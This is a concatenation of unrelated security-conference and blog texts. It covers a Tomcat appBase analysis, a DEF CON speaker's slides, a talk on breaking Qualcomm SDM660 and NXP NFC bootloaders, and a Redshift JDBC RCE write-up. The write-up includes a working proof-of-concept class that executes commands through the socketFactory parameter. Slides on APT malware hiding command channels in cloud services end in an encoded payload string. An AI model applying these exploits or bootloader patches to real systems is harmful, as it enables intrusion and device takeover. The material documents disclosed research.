1 Tomcat中的appBase 第⼀次看⻅有关tomcat appBase是在漏洞百出-⼏个Jolokia RCE的“新”利⽤⽅式⼀⽂中 该⽂后续就展示出了可以直接在新建的vhost中访问/etc/paasswd等⽂件资源,已经跳出 TOCMAT/webapps的限制,并且在其他漏洞中也⻅到了对appBase这⼀属性的利⽤,当时⼼中就有⼀ 些疑问:为什么appBase这⼀属性就可以控制TOMCAT相关资源位置,⼜是什么机制让其实时⽣效 现在就在此⽂中尝试从代码的⻆度简单描述原理、过程 tomcat分析版本:10.0.18 ⾸先寻找appBase从何⽽来 简单看到field的描述如下 简单排查appBase的引⽤,最重要的地⽅在org.apache.catalina.core.StandardHost#getAppBaseFile appBase 因此利⽤jolokia调⽤,可以直接创建⼀个vhost,指定/为appBase StandardHost 2 逻辑如上图,⽐较简单,如果appBase不是绝对路径就进⾏路径拼接,算在TOMCAT根⽬录下,并将结 果赋值给appBaseFile最后返回 其实org.apache.catalina.core.StandardHost#getAppBaseFile的引⽤很多,但是⼤致是两个⽅向 1. context初始化:对应ContextConfig 2. host初始化、热部署:对应HostConfig 这⾥就暂且只看热部署相关 跟到org.apache.catalina.startup.HostConfig#deployApps() HostConfig 3 从上图的注释就能看出,该函数⽤于部署在application根⽬录下的任何⽬录或war⽂件,appBase所指 向的⽬录就被视作“application root”,并由此遍历appBase下的所有⽂件将其路径存⼊ filteredAppPaths中,在此跟进deployDirectories,如下 4 逻辑⾮常简单,只要是appBase⽬录下名字不为WEB-INF、META-INF的⽬录,就会经过 DeployDirectory的处理 注意:这⾥为了避免浪费资源,已经处理过的⽬录将会存⼊cache,只会处理不在cache中的新⽬录 继续跟进org.apache.catalina.startup.HostConfig.DeployDirectory#run,发现只是调⽤了 org.apache.catalina.startup.HostConfig#deployDirectory,该函数代码过⻓就不截图了,逻辑很简 单,直接根据指定⽬录新建了个StandardContext,并将其加⼊当前StandardHost之中,此后就能够在 该StandardHost访问到对应的StandardContext了,⽽StandardContext直接对应appBase下的某个⼦ ⽬录 5 简单来讲,TOMCAT appBase初始指向的是 TOMCAT/webapps ,然后将会部署webapps⽬录下的所 有war⽂件或者⽬录,并将其每个⽬录作为StandardContext挂在当前StandardHost下,最后客户端可 以通过 http://host:port/context_path 访问到已经部署的⽬录 现在回到HostConfig#deployApps,查找⼀下引⽤,如下 可⻅,最终都是被HostConfig.lifecycleEvent,其中start函数主要是在初始化Host的时候执⾏的,这⾥ 我们跟进check函数,如下 如上图,只要当前Host的autoDeploy属性为true时(⾼版本tomcat该属性默认为true),最终都会调⽤ deployApps函数,此处就是热部署的具体实现了 继续查看HostConfig.lifecycleEvent,如下 lifecycleEvent & backgroundProcess 6 如上图,调⽤check函数是需要接收到 Lifecycle.PERIODIC_EVENT 事件才会触发,那么现在来全 局搜索⼀下什么地⽅才会发送这个事件 从命名来看,从ContainerBase发出的事件不像是初始化时才会发⽣的,跟进去后发现是在 org.apache.catalina.core.ContainerBase#backgroundProcess函数中⽆条件发送 Lifecycle.PERI ODIC_EVENT 事件,其函数注释如下 7 显⽽易⻅这是个后台线程调⽤的函数 初始化Host时,⼀定会触发部署⾏为,这时就会直接将appBase所指向⽬录的⼦⽬录全部作为Context 加载到新Host中 tomcat运⾏中,并且⾼版本默认autoDeploy为true时,将会实时扫描appBase所指向的“application root”⽬录,然后为其新的⼦⽬录创建新的Context并加载到当前Host中。这样就解释了某些利⽤⼿法直 接修改当前Host appBase后,将可以跳出webapps访问到其他敏感资源的原因,实际上就是将 appBase⽬录下的所有⼦⽬录全部当成Context处理的结果 总结 LaTeX 复制代码 /** * Execute a periodic task, such as reloading, etc. This method will be * invoked inside the classloading context of this container. Unexpected * throwables will be caught and logged. */ 1 2 3 4 5
pdf
http://www.sincuser.f9.co.uk/035/htsquad.htm “How to channel your inner Henry Rollins” By Jayson E. Street https://www.defcon.org /html/links/dc- speakerscorner.html #wiseman-street “I care less if I can't be part of your scene because I am the scene. I am everything that is.” “If you're listening to a rock star in order to get your information on who to vote for, you're a bigger moron than they are.” “Life is too short to have anything but delusional notions about yourself.” “I feel uncomfortable because I'm insecure about who I am.” “Nothing is as important as passion. No matter what you want to do with your life, be passionate.” “If you know something, share it. If you learn something, learn more. When you really know your stuff, teach it.” Adam Laurie (Major Malfunction) We protect you from people like us. Remember if this dweeb can eventually speak at DEFCON SO CAN YOU!  • http://www.dissectingthehack.com • http://f0rb1dd3n.com • https://issa.org/ • http://www.infragard.net/ • http://netragard.com • @jaysonstreet on Twitter Discussion and Questions???? Or several minutes of uncomfortable silence it’s your choice. This concludes my presentation Thank You • http://www.dissectingthehack.com • http://f0rb1dd3n.com • https://issa.org/ • http://www.infragard.net/ • http://netragard.com • @jaysonstreet on Twitter
pdf
Breaking Secure Bootloaders Talk Outline Smartphones often use signature verification to protect their firmware This is implemented in bootloaders, which can also provide facilities for firmware updates Weaknesses in these update protocols can be exploited to bypass signature protections The core SoC and peripheral chips are both potential targets for attack Biography Christopher Wade Security Consultant at Pen Test Partners @Iskuri1 https://github.com/Iskuri https://www.pentestpartners.com Project One – The SDM660 Android Bootloader I had purchased an Android phone to do mobile research I needed root access in order to use all of my testing tools This required unlocking the bootloader, which disables signature verification protection This required an unlock tool from the manufacturer Custom Bootloader Unlock Functionality Some smartphone manufacturers modify the bootloader to require custom tools for bootloader unlocking, or to remove bootloader unlocking entirely This often requires creating a user account and waiting for a period of time Unlocks are performed using custom USB fastboot commands There are numerous reasons why these restrictions are placed on their hardware: • Inexperienced users will not be tricked into deliberately weakening phone security • Third parties can’t load the devices with malware before sale • The manufacturer can track who is unlocking their bootloaders Common Android Bootloader Protection Analysis of an unlock on the phone was performed using USBPCAP An 0x100 byte signature was downloaded from the manufacturer’s servers and sent to the phone This was verified by the bootloader, which unlocked its restrictions I decided to use an older phone to analyse this functionality I set myself a challenge to break this functionality before the end of the seven day waiting period Target Device Mid-range phone released in 2017 Uses a Qualcomm Snapdragon 660 chipset – ARM64 architecture I had previously unlocked the bootloader, but could lock it again for the project Bootloader had been modified to add further custom functionality Fastboot Command interface for most Android bootloaders Uses a basic USB interface – commands and responses are raw text reboot flash: download: oem device-info oem unlock etc Implementing Fastboot Easy to implement using standard USB libraries Sends ASCII commands and data via a USB bulk endpoint Returns human-readable responses back asynchronously via a bulk endpoint Libraries exist for this purpose, but are unnecessary ABL Bootloader Provides Fastboot USB interface Verifies and executes Android Operating System Accessed via ADB, or button combinations on boot Stored in “abl” partition on device Qualcomm’s base bootloader has source code available, but can be modified by vendors Analysing The Bootloader Bootloader is stored as an ELF file in partition This contains no executable code, but does contain a UEFI filesystem This could be extracted with the tool “uefi-firmware-parser”, to find a Portable Executable These can be directly loaded into IDA Analysing The Bootloader - Commands Fastboot commands are stored in a table as text commands and function callbacks This can aid in identifying any hidden or non-standard commands Changes in functionality of commands is also easy to identify Logging strings in code help with identifying functionality Identifying A Potential Bootloader Weakness The “flash:” command usually only flashes partitions on unlocked bootloaders The command had been modified by the manufacturer to allow flashing of specific custom partitions when the bootloader was locked These partitions were handled differently from those implemented directly by Qualcomm There was potential for memory corruption or partition overwrites in this custom functionality Implementing the flash: command I made assumptions about the command sequence: I accidentally left an incorrect “flash:” command after my command sequence This resulted in the bootloader crashing after sending this second “flash:” command The lack of a “download:” command before the payload was the likely cause Actual command sequence: • download:<payload size> • <send payload> • flash:<partition> My command sequence: • flash:<partition> • <send payload> Analysis Of Crash USB connectivity stopped functioning entirely The phone required a hard reset – volume down + power for ten seconds A smaller payload size was attempted – this did not crash the phone A binary search approach was used to identify the maximum size without a crash By rebooting the phone and sending sizes between a minimum and maximum value, the minimum size was found - 0x11bae0 Overwriting Memory Due to the unusual memory size, this was assumed to be a buffer overflow With no debugging available for the phone, identifying what memory was being overwritten would be difficult The bootloader used stack canaries on all functions, which could potentially be triggered The next byte was manually identified – 0x11bae1 bytes of data were sent, and the last byte value was incremented, if the phone didn’t crash it was valid The next byte was identified to be 0xff Overwriting Memory By constantly power cycling, incrementing the byte value, and moving to the next byte in the sequence, a reasonable facsimile of the memory could be generated This would not be the exact memory in use, but enough to not crash the bootloader Once this was generated, it could potentially be modified to gain code execution A way of automating this process to retrieve more bytes was required Automated Power Cycling It was suggested that removal of the phone battery and a USB relay could automate power cycling the phone This would require removing glue from the phone case to access the battery Instead, a hair tie was wrapped around the power and volume down buttons This caused a boot loop which allowed USB access for sufficient time to test the overflow Memory Dumping The custom fastboot tool was modified to attempt this memory dumping It verified two key events – a “flashing failed” response from the command being sent to the phone, and whether it crashed afterwards Each iteration took 10-30 seconds Memory Dumping The phone was left overnight performing this loop This generated 0x34 bytes of data which did not crash the phone The repeated byte values and lack of default stack canary meant that this was likely not to be the stack All of the 32-bit words were found to be valid ARM64 opcodes FF 43 02 51 60 02 00 0C 60 02 00 0C 60 02 00 0C 60 02 00 0C E8 00 00 B0 34 00 00 10 01 00 00 0A 08 0D 40 F9 00 00 00 08 C0 00 04 0B 60 02 00 0A D3 9F FF 97 Unknown Memory Analysis Most opcodes, while valid operations, would not be the same as in the bootloader Stack management and branch operations would have to be almost exact Searching for the “SUB WSP” and “BL” opcodes in the bootloader yielded no results ARM64 Features ARM64 operations can often have unused bits flipped without altering functionality Registers can be used in both 32-bit (Wx) and 64-bit (Xx) mode Branch instructions can have conditions for jumping These features could superficially allow for changes to the stack and branch handling instructions without altering functionality Identifying Similar Instructions I decided to use the “BL” instruction, it was likely to be less common than the stack I performed a text search, removing the first nybble from the opcode This would find branches in a similar relative address space to the dumped opcode This identified a single valid instruction in the “crclist” parser, and opcodes that were similar to the memory dump Outline Of Buffer Overflow Analysis of the offsets showed that the bootloader was overwritten after 0x101000 bytes of data The bootloader is executed from RAM, as demonstrated by this overflow The original bootloader binary, found in the partition, could be fully written using the overflow to prevent any subsequent crashes This binary could be modified to run any required unsigned code Unlocking The Bootloader To unlock the bootloader, it was necessary to jump to the code after the RSA check A simple branch instruction could be generated to jump to the relative address of the bootloader unlock function Online ARM64 assemblers are available to rapidly generate these opcodes This process would be difficult to debug, but success would be easy to identify Buffer Overflow Implications Rooting the phone and deploying custom recovery images would now be possible Qualcomm chips can encrypt the “userdata” partition on locked bootloaders, even without a password – unlocking the bootloader completely disallows access to this data Some limited RAM dumping would be possible with this code execution and cold boot attacks, but would not allow access to any user data Development, analysis and exploitation was achieved over four days Attempts to replicate the vulnerability on the newer phone, using an SDM665, were not effective Replicating The Vulnerability I was able to procure a second smartphone which also used an SDM660 All bootloader unlocking functionality was disabled by the manufacturer on this device It was identified to use a similar signature verification approach to the original phone Custom Bootloader Unlock Using an OTA image, the bootloader was analysed This showed the code which blocked the bootloader unlock No hidden bootloader commands were identified on the device, however some OEM commands were noted Differences In Memory Layout Initially, the old crash was attempted The device still functioned, implying the vulnerability may not be present A much larger payload size was sent – 8MB This crashed the phone, implying that the memory layout was different to the original Manual analysis demonstrated that the bootloader was overwritten after 0x403000 bytes, different to the 0x101000 on the first device With this, a bootloader unlock could be rapidly developed Patching Bootloader Unlock A single branch instruction was identified, which sent an error response or unlocked the bootloader, depending on whether the signature was accurate This could be replaced with a NOP instruction, bypassing this check This allowed the bootloader to be unlocked, and the phone to be rooted The vulnerability was disclosed directly to Qualcomm, due to its potential existence on all SDM660 based phones Removing Unauthorised Bootloader Access Bootloader access is not required for users in contexts where unlocking is not permitted It is possible to disable fastboot access entirely in order to prevent attacks against it Fastboot can then be reactivated via Engineering apps in the main Android OS Manufacturers who disable bootloader unlocking by consumers often use this approach Reading Back Memory The “download:” function could be patched to return memory from arbitrary addresses This could read back the bootloader code, stack and heap, but could not read arbitrary memory This restricted the potential for any cold boot attacks on memory Bypassing Qualcomm’s Userdata Protection Qualcomm’s chips encrypt the “userdata” partition, even when no passwords or PINs are used This prevents forensic chip-off analysis, and access to users’ data via bootloader unlocking If an unlocked bootloader tries to access the partition, it is identified as being “corrupted” and is formatted Bypass of this protection could allow access to user data via physical access Bypassing Qualcomm’s Userdata Protection Using Qualcomm’s source code, this encryption process could be analysed Encryption keys are intentionally inaccessible, even with code execution The code uses an internal EFI API to decrypt the partition, which was unmodifiable The API verifies whether it is unlocked, and whether the firmware is signed Time Of Check To Time Of Use The “boot” fastboot command loads and executes Android images deployed via USB It was noted that verification and execution of the image were two separate functions There was a high likelihood that the image could be changed between verification and execution This could bypass bootloader unlocking protections while accessing the encrypted partition Modifying Boot The “boot” command receives the full Android “boot” image, via the fastboot “download:” command This is loaded into RAM, verified and executed By patching the “boot” command, the behaviour could be altered for a TOCTOU attack Instead of sending one image, two could be sent, and swapped after verification A tool was created, which sent three pieces of data to achieve this: a four byte offset, a signed image, and an unsigned, malicious image Patching In Functionality The “boot” command does not function on locked bootloaders The check for the lock state was replaced with an operation for moving the image pointer up by four bytes – to the signed image The image at the moved pointer would then be verified Patching In Functionality Function calls occur between verification and booting These are unnecessary to boot Android, and could be overwritten This allowed for five spare instructions to be patched in This would be sufficient to change to the unsigned image Patching In Functionality Four additional instructions were required: • Move pointer back to start of payload - sub x19, x19, 4 • Read offset value - ldr w22, [x19] • Add offset value to pointer - add x19, x19, x22 • Push new pointer value to “Info” structure “ImageBuffer” pointer - str x19, [x21,#0xa0] These would be sufficient to swap the signed image with the unsigned image Patching this code and executing it was found to be effective, facilitating the TOCTOU attack This could allow for running unsigned Android images without unlocking the bootloader Tethered Root Unlocking the bootloader wipes all user data Permanent rooting exposes the device to greater risk A device being permanently rooted is not a necessity for most phone users By deploying a rooted Android image via this TOCTOU attack, these problems can be resolved, as rebooting will remove the root capabilities These can easily be generated using the Magisk app Lockscreen Bypass By accessing the unencrypted userdata partition, one can remove lockscreen restrictions By using a custom recovery image, such as TWRP, or by modifying the Operating System, it is possible to gain access to all apps and stored data Backdooring Encrypted Phones Via developer functionality, further encryption can be placed on the userdata partition This adds a password requirement, which forces a password to be input as the device is booting The Android “boot” image, where the kernel and root filesystem are stored, is not encrypted It is possible to add a reverse shell to the image, to access the data later Backdooring Encrypted Phones Disclosure and Impact The TOCTOU attack was disclosed to Qualcomm The attack was only possible with the initial buffer overflow vulnerability Patching of the phone to prevent this attack would be difficult, due to its usage of internal, unmodifiable APIs These weaknesses could allow an attacker with physical access to an SDM660-based phone to bypass all bootloader locking mechanisms Project Two – The NXP PN Series The NXP PN series is a set of chips used for NFC communication in smartphones and embedded electronics By breaking the firmware protections on these chips, one could add new NFC capabilities The NXP PN series is extremely popular in smartphones, and any exploits would be transferrable to a large number of devices NXP PN553 NFC chip used solely in mobile devices PN553 bears similarities with the PN547, PN548, PN551 and PN5180 All use a similar firmware update files and protocol All use ARM Cortex-M architecture Little public research available Protocol Communicates via I2C interface - /dev/nq-nci Utilises NCI for NFC communication, the standard NFC protocol Custom protocol in use for firmware updates Communication can be traced via ADB logcat Forcing Firmware Updates Tracing firmware updates can help in reverse engineering the protocol in use Firmware updates only occur when signed firmware versions differ Base Android image contains a main firmware image and recovery image libpn553_fw.so libpn553_rec.so Swapping these files can force the update to occur Each function can be traced against source code Bootloader Firmware Update Protocol Unique to NXP chips Structure: 1 byte: Status 1 byte: Size 1 byte: Command x bytes: Parameters 2 bytes: CRC-16 Encapsulated in 0xfc byte chunks for large payloads Interfacing with device files Reads and writes to /dev/nq-nci translate to communication over I2C Chip can be configured via IOCTL functions These can set power mode and enable/disable firmware update mode Firmware File Format Firmware files are kept in ELF files – libpn553_fw.so This file has one sector, which contains binary formatted data This data contains the commands that run in sequence for firmware updates These commands can be extracted to rebuild the firmware image Firmware Update Process The C0 write command is used throughout The first command contained unknown, high entropy data All subsequent commands contained a 24-bit address, 16-bit size, data payload, and an unknown hash These commands were required to be sent in the sequence they were stored in the update file Stitching Firmware Updates Memory addresses at the start of commands aided reconstruction of firmware Firmware data was very small Multiple references to code in inaccessible memory locations were noted The core system functionality was likely to be stored in the bootloader Memory Read Commands Two commands were found to read back memory from the chip – A2 and E0 A2 was found to read memory from a provided address – limited only to memory that could be written during firmware updates E0 was found to calculate checksums of memory, and provide four bytes of configuration data RSA Public Key Large block of random data was referenced in E0 memory dump – sized 0xC0 0x10001 (65537) was found after this block These could be the modulus and exponent for a public RSA key This size aided in identifying the signature of the firmware update Additional Write Command Command A7 was found to allow writing to 64 bytes of configuration memory This memory had no bearing on any functionality, and its size was restricted This was likely to be used for logging of data during updates Unknown Hash Block write commands end with a 256-bit hash This was assumed to be SHA-256, but did not match the contents of the packet Multiple other hashing algorithms were attempted, with no valid results It was identified that the hash was for the next block in the sequence Hashing Process The first C0 command contains a version number, SHA-256 hash, and signature of the hash This is a hash of the next block, which contains an additional hash This cascades through the firmware update, with each subsequent block having a matching hash This guarantees that all written blocks are valid, without verifying the entire update at once The final block has no hash, because it has no subsequent block Fuzzing Targeted fuzzing was performed on both the Firmware Update and NCI interfaces The chip was found to contain hidden, vendor-specific configs, accessible via the standard NCI Config Write command Bitwise incrementing values were written to these configurations, which prevented the main firmware from continuing to function, bricking the core functionality of the chip The bootloader still functioned, but the configurations could not be overwritten Weaknesses in the Firmware Update Process It was noted that the last block of the firmware update could be written multiple times, despite the hash-chain This implied that the hash of the previous block remained in memory There was a potential opportunity for overwriting this hash in memory An invalid command, the same size as a firmware update block, was sent between these packets This prevented the last block from being written, implying the hash had been overwritten in memory Bypassing Signature Verification Modified hashes could be written in the right portion of memory The ability to overwrite the hash meant that the hash chain could be broken This would allow writing of arbitrary memory blocks to the chip, by generating a valid hash This could bypass the signature verification mechanisms of firmware updates, and allow us to overwrite the broken config Repairing the Firmware Using a dump of the working config, the new config could be hashed and written This repaired the chip, and proved that arbitrary memory writes were possible The next goal was to dump the bootloader from the chip Patching New Features All standard functions were stored in the bootloader, with limited functionality in the firmware update The NCI Version Number command was part of the firmware update The version number was easy to identify in memory, and its function references A function was called using the version number and a pointer This was identified to be a memcpy function Patching New Features The Branch instruction to the function could be overridden to point to a custom function Using C and the gcc “-c” flag, a custom function could be written Its effect on the version number command could be observed after flashing The lack of data in the response implied that it was a memcpy for the return message Patching New Features The location of RAM was assumed to be at 0x100000, due to the firmware referencing this address space The overridden memcpy was changed to search for a unique value in RAM, sent in the NCI command This provided a global pointer to command parameters at 0x100007 This could then set a pointer to arbitrary memory Using this functionality, the bootloader could be dumped Dumping The Bootloader The entire memory was stitched from the read commands This could be disassembled, demonstrating it was valid This functionality could be extended to modify the core NFC functionality of the chip Replicating The Vulnerability – PN5180 The PN5180 is a chip often used by hobbyists for NFC connectivity It has a similar architecture to the PN553, but uses a custom communication protocol Can be communicated with via an SPI interface and GPIO pins The firmware update process was the same, allowing the signature bypass to be replicated Replicating The Vulnerability – PN5180 A command in the chip’s communication protocol read memory from a specific part of the EEPROM This pointer was found in the firmware payload By overwriting this and redeploying the firmware, the chip’s bootloader could be read, without functional code changes Impact The vulnerability was likely to be available on similar chipsets This could allow an attacker with access to firmware updates to completely take over the chips This would provide the capability to add custom and malicious NFC functionality On smartphones, this would require full root access to the device In hobbyist projects, this would expand the capabilities of the chip Disclosure The vulnerability was disclosed to NXP in June 2020 They confirmed that it affected multiple chips in their product line A long remediation period was requested, with public release permitted in August 2021 Alteration of a primary bootloader is a complex task, which could risk bricking the chip The current generation of NXP NFC products, including the SN series, are not affected Remediation across all affected chipsets was performed in phased rollouts Conclusion Special thanks to Qualcomm and NXP for remediating the findings Firmware signature protection is only as good as its implementation Common chips are great targets, as they have high impact Bootloader vulnerabilities are common, even in popular hardware End
pdf
1 amazon-redshift-jdbc-driver RCE(CVE-OLOO- QNWOW) 漏洞分析 漏洞复现 漏洞修复 这个漏洞与之前的 pgsql JDBC 漏洞(CVE-2022-21724)是师出同⻔。 漏洞详细:https://github.com/aws/amazon-redshift-jdbc-driver/security/advisories/GHSA-jc69- hjw2-fm86 DriverManager 类建⽴ JDBC 的连接代码如下 调⽤栈 漏洞分析 package org.example; import java.sql.DriverManager; import java.sql.SQLException; public class App { public static void main( String[] args ) throws SQLException { DriverManager.getConnection("jdbc:redshift://examplecluster.abc123 xyz789.us-west-2.redshift.amazonaws.com:5439/dev?socketFactory=org.exampl e.atao&socketFactoryArg=calc"); } } 1 2 3 4 5 6 7 8 9 10 11 12 Java 复制代码 2 从 SocketFactoryFactory#getSocketFactory ⽅法看起 25⾏从 info (URL传递的属性)取 socketFactory的值 ,接着30⾏还会 取 socketFactoryArg 的值,如果 socketFactoryArg 值不存在的话就会异常退出。 接着往下看 ObjectFactory#instantiate ⽅法 DriverManager#getConnection Driver#connect Driver#makeConnection RedshiftConnectionImpl#RedshiftConnectionImpl ConnectionFactory#openConnection ConnectionFactoryImpl#openConnectionImpl SocketFactoryFactory#getSocketFactory ObjectFactory#instantiate 1 2 3 4 5 6 7 8 Plain Text 复制代码 3 19⾏通过 Class.forName 加载类,此时 classname 变量是由 socketFactory 传⼊(可控),所以这⾥可以 是可以加载任意类的。 第⼀个 try ... catch ... 语句直接看 catch 语句,获取 单String 参数的构造⽅法,然后 args 变量会被改为 只有 stringarg 变量的字符串数组,stringarg 变量是由 socketFactoryArg 传⼊(可控),所以这个String 的内容也是⾃定义的。 最后调⽤ newInstance ⽅法⽣成对象 这⾥构造⼀个恶意类,代码如下 在⽤⼀开始写的连接代码进⾏利⽤即可 pom.xml 添加依赖 CVE_2022_41828.java 漏洞复现 package org.example; import java.io.IOException; public class atao { public atao(String cmd) throws IOException { Runtime.getRuntime().exec(cmd); } } 1 2 3 4 5 6 7 8 9 10 Java 复制代码 <!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jd bc42 --> <dependency> <groupId>com.amazon.redshift</groupId> <artifactId>redshift-jdbc42</artifactId> <version>2.1.0.7</version> </dependency> 1 2 3 4 5 6 XML 复制代码 4 执⾏截图 链接:https://github.com/aws/amazon-redshift-jdbc- driver/commit/9999659bbc9f3d006fb02a0bf39d5bcf3b503605 官⽅将原来的强转修改成从⼀开始就限制了class类 漏洞修复 package cve.test; import java.sql.DriverManager; import java.sql.SQLException; public class CVE_2022_41828 { public static void main( String[] args ) throws SQLException { DriverManager.getConnection("jdbc:redshift://examplecluster.abc123 xyz789.us-west-2.redshift.amazonaws.com:5439/dev?socketFactory=org.exampl e.atao&socketFactoryArg=calc"); } } 1 2 3 4 5 6 7 8 9 10 11 12 Java 复制代码
pdf
Ashley X Belinda Let’s Play Hide and Seek In the Cloud The APT Malwares Favored in Cloud Service HITCON 2015 Let’s Play Hide and Seek in the Cloud • Speakers • APT vs Cloud Service • Hide and Seek in SaaS – Redirect – Storage – Control Channel • What APT malware love about cloud service? • What can we do? Outline HITCON 2015 Let’s Play Hide and Seek in the Cloud Ashley Belinda Speakers HITCON 2015 Let’s Play Hide and Seek in the Cloud Ashley • Ashley Shen • Threat Analyst in Team T5 • APT research, Malware analysis • Malicious Document Detection • Member of HITCON GIRLS • [email protected] HITCON 2015 Let’s Play Hide and Seek in the Cloud Belinda • Belinda Lai • Security Engineer in III • Malware Analysis • Assist organizations handle information security incidents • Member of HITCON GIRLS • [email protected] APT vs Cloud Service HITCON 2015 Let’s Play Hide and Seek in the Cloud Google Trend of Cloud Service HITCON 2015 Let’s Play Hide and Seek in the Cloud Software as a Service Platform as a Service Infrastructure as a Service Cloud Service Models HITCON 2015 Let’s Play Hide and Seek in the Cloud HITCON 2015 Let’s Play Hide and Seek in the Cloud Google Trend of APT Attack Once upon the time… Stuxnet Operation Aurora Recently… Sony Pictures Garena Hacked HITCON 2015 Let’s Play Hide and Seek in the Cloud How do cloud service take part in APT attack? What can malware do with cloud service? HITCON 2015 Let’s Play Hide and Seek in the Cloud Web server as C&C server Code VPS as C&C server VM APT Leverage Cloud Service Models Cloud Service as Invisibility cloak IaaS PaaS SaaS HITCON 2015 Let’s Play Hide and Seek in the Cloud Cloud Service as Invisibility cloak Data APT Leverage Cloud Service Models VPS as C&C server Web server as C&C server IaaS PaaS SaaS Code VM Hide and Seek in SaaS Redirect Storage Control Channel Redirect Victim Cloud Service Second Stage C&C Encode C&C address String Command 1 2 3 4 Decode String to get IP address The Malwares HITCON 2015 Let’s Play Hide and Seek in the Cloud Elirks • Name: Elirks • Targeted Country: Taiwan、 Japan、HK • Targeted Sector: GOV、 ThinkTank • First Seen: 2010 • Infrastructure: Yahoo, Plurk, Google (blogger), Dropbox, Twitter • Campaign: Elirks group • We found that the earliest Elirks post was posted in 2010. • In 2012~2014, Plurk had been used in several incidents. • Encode C2 information with modified TEA and Base64. Pattern : <http://google.com.t w/37619834? + C2 information • In 2014, Elriks start to Hide c2 information in Html tag • In 2015, Our latest observation shows that Elirks using Japa n Blog to targeting JP victim. Encrypt with DES. HITCON 2015 Let’s Play Hide and Seek in the Cloud WMIgh0st • Name: WMIghost • Targeted Country: Tibet • Targeted Sector: Various • First Seen: 2009 • Infrastructure:blog.com, Yahoo, Wordpress, SOSblogs, livejournal • Used Windows Management Instrumentation (WMI, implement Web-Based Enterprise Management) as a venue to conveniently perform malicious activities • Download html file and decode blog title HITCON 2015 Let’s Play Hide and Seek in the Cloud Midhos 30 • Name: Midhos • Targeted: Taiwan, Tibet • Targeted Sector: GOV, corporation • First Seen: 2012 • Infrastructure: Yahoo, Baidu, Pixnet, Xuite • Behavior: First Stage C&C • 2013, Midhos Leverage baidu blog as first stage C2 HITCON 2015 Let’s Play Hide and Seek in the Cloud IXESHE • Name: IXESHE • Targeted Country: Taiwan、 Japan • Targeted Sector: GOV、 Enterprise、NGO • First Seen: 2009 (2013 start to connect blog) • Infrastructure: Yahoo blog , Dropbox, WordPress • Campaign: IXESHE **********Encoded String********** RSA and RC4 encryption HITCON 2015 Let’s Play Hide and Seek in the Cloud Taleret • Name: Taleret • Targeted Country: Taiwan、 UN • Targeted Sector: GOV、 Enterprise、ORG • First Seen: 2010 (2011 start to connect blog) • Infrastructure: Yahoo, Yam, Pixnet • Campaign: Possibly Taidoor ARTEMIS (base64 string, encoded by RC4, contains C2 IP Port 0x4C) ARTEMIS HITCON 2015 Let’s Play Hide and Seek in the Cloud PlugX • Name: Plug X • Targeted Country: Taiwan ; Japan ; Korean • Targeted Sector: • First Seen: 2012 • Infrastructure: Baidu, Dropbox, Twitter, MSDN, Linkedin pattern: DZKSJDADBDCDHDOCADOCADOCBDDZJS More Tricks - 1 • Using DNS lookup cloud service to obtain second stage C&C address. • Bypass DNS blocking. Victim Cloud DNS Lookup Service The IP address of Domain is x xx.xxx.xxx.xxx 1 2 Request Second Stage C&C Command 3 4 Protux • Name: Protux • Targeted: TW • Targeted Sector: GOV • First Seen: 2009 • Infrastructure: DNS Watch, ip138, • Campaign: DragonOK • The trojan request for the search result of DNS Watch to retrieve C&C address. • DNS Watch is a public DNS lookup tool. • Locate the IP address by identify string. • Try to Query DNS Watch first. If fail then try DNS Server. Hinet DNS Server Seednet DNS Server • DNS Watch tried to block by detecting user agent. (However…) GET /dns/dnslookup?la=en&host=picture.ucparlnet.c om&type=A&submit=Resolve HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 6.0.1; WININET 5.0) Host: www.dnswatch.info Cache-Control: no-cache GET /dns/dnslookup?la=en&host=picture.ucparlnet.c om&type=A&submit=Resolve HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 6.0.1) Host: www.dnswatch.info Cache-Control: no-cache Storage Victim 1 2 Command Cloud Storage Data Actor 3 4 5 The Malwares DropNetClient • Name: DropNetClient • Targeted Country: Taiwan • Targeted Sector: GOV • First Seen: 2015 • Infrastructure: Dropbox • Behavior: Fetch command from Dropbox and upload victim data to Dropbox. • Campaign: Taidoor • Low Detection Rate • Connect to Dropbox with DropNet Lib • Use two RC4 Keys. • Key 1: A pubKey use to decrypt the file “10101” download from dropbox”. • Use two RC4 Keys. • Key 2: The decrypted key, use to encrypt the victim files and upload to dropbox. • We can find accessTokwn, appKey and appSecret in the malware • With Dropbox python SDK, we were able to access to the folders and the files, and get the account information. • The actor register a Gmail account for the specific victim HITCON 2015 Let’s Play Hide and Seek in the Cloud GDrive RAT • Name: GDrive RAT (aka TSPY_DRIGO.A) • Targeted Country: Taiwan • Targeted Sector: GOV • First Seen: 2012 • Infrastructure: • Behavior: Second stage backdoor. Upload victim data to specific google drive • Campaign: Possibly PLEAD • Develop with Go programming language. • Low detection rate. • Search for • XLSX • XLS • DOC • DOCX • PDF • TXT • PPT • PPTX • Using OAuth 2.0 protocol to log in to specific Google Drive. • We can find the access token, client ID, Refresh Token and email address in the process memory. HITCON 2015 Let’s Play Hide and Seek in the Cloud illitat • Name: illitat (fc.asp Downloader) • Targeted Country: TW • Targeted Sector: GOV • First Seen: 2010 (2013 start to use blog) • Infrastructure: Yahoo, Yam, Pixnet • Behavior: Connect to blog to download trojan DLL (Taidoor) • Campaign: Taidoor • download jpg or yahoo blog article, find pattern yxyyyxyy • extract 2nd Gen Taidoor DLL • illitat encode C2 pattern: (random char) yxyyyxyy (base64+RC4) decoded to be Taidoor-RAT DLL version yxyyyxyy (random char) yxyyyxyyAwAAADMzMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFFDWmXB+pydDwdvQc9MPR 8Uoday9yM5lHo+sdPAmzPE0t7LTjjXM9vIOYRCKBytSNICOpSImHuswDN9gz3JMiB Dk0I+ylZG4szjaxDa8ALnyFMzEl0n3GcYujgwwoiZRXdzFyRtG782fvUtVfwNdDWeofS TZEKV9kG3VbZ9XDdwbe7YkiBTt7UYK3VgFf9hpXKFp6VkgBvRj2heFoIwDiKXRusYRf 5Km1KYKaDM7TZMVV5Jtcdyg97Cha7RVosja5lU83f4k0cC7jJkROBICPwIyZbhi8rV5j j2DftJQ01NjnOg2rnUIDfbfkeywxHZQJx4a1AAwMPQyk+pekIwF1bzVF9xhD3dDkjvh 